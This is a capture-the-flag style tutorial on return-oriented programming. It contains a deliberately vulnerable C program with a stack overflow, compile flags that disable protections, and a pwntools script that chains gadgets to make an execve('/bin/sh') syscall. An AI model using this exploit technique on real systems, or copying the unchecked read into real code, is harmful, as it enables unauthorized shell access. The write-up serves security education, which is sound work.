Simple PWN - 0x07(ROP)
tags: CTF
PWN
eductf
Background
- This is very similar to normal
BOF
. - If a sample code that doesn’t have a backdoor function and you cannot input a backdoor function as well, then you can use some code segment to merge a shellcode.
- Therefore, the main idea is use some
<operation>;ret
pattern segment to overlap stack.
Original Code
#include <stdio.h>
#include <unistd.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0)
setvbuf(stdout, 0, _IONBF, 0);
char s[0x10];
printf("Here is your \"/bin/sh\": %p\n", "/bin/sh");
printf("Give me your ROP: ");
read(0, s, 0x400);
return 0;
}
- At line
11
,%p
means pointer of/bin/sh
string. - Note that, if you establish the code yourself, you must turn off the protection by the command below and use
checksec
to observe the protection. In addition, please use-static
command to compile library at compile time, so that we can getROP gadget
more easily.gcc -o rop rop.c -zexecstack -no-pie -fno-stack-protector -z norelro -static
Exploit
- First, we can observe the program has overflow(very important), but has no other backdoor method can access or global variable can write shellcode. Then we can consider to use
ROP gadget
to construct chain. - Second, we use
ROPgadget
to find suitable gadget$ ROPgadget --multibr --binary rop > rop_gadget $ vim rop_gadget
- Note that, you may consider that
pop rdx ; pop rbx ; ret
is not what we want. We just wantpop rdx ; ret
. Therefore, we have to push one more value forpop rbx ;
instruction.
- Note that, you may consider that
- Then, we can construct our payload:
from pwn import * context.arch = 'amd64' r = process('./rop') r.recvuntil('Here is your "/bin/sh": ') binsh = int(r.recvline()[:-1], 16) info(f"binsh: {hex(binsh)}") pop_rdi_ret = 0x401eaf pop_rsi_ret = 0x409ede pop_rdx_ret = 0x485aeb pop_rax_ret = 0x44fcc7 syscall = 0x401c64
- Note that,
r.recvline()[:-1]
isb'0x498004'
and we must pop to%rdi
at line17
below.
- Note that,
- Then we can combine them together using flat method. It’ll flat the address with length 8 bytes.
ROP = flat( pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_ret, 0, 0, pop_rax_ret, 0x3b, syscall, ) gdb.attach(r) r.sendafter("Give me your ROP: ", b'a' * 0x18 + ROP) r.interactive()
- Finally, we got shell!!!
Analysis
- This is totally the same as our hypothesis.
- We can see that all parameters are ready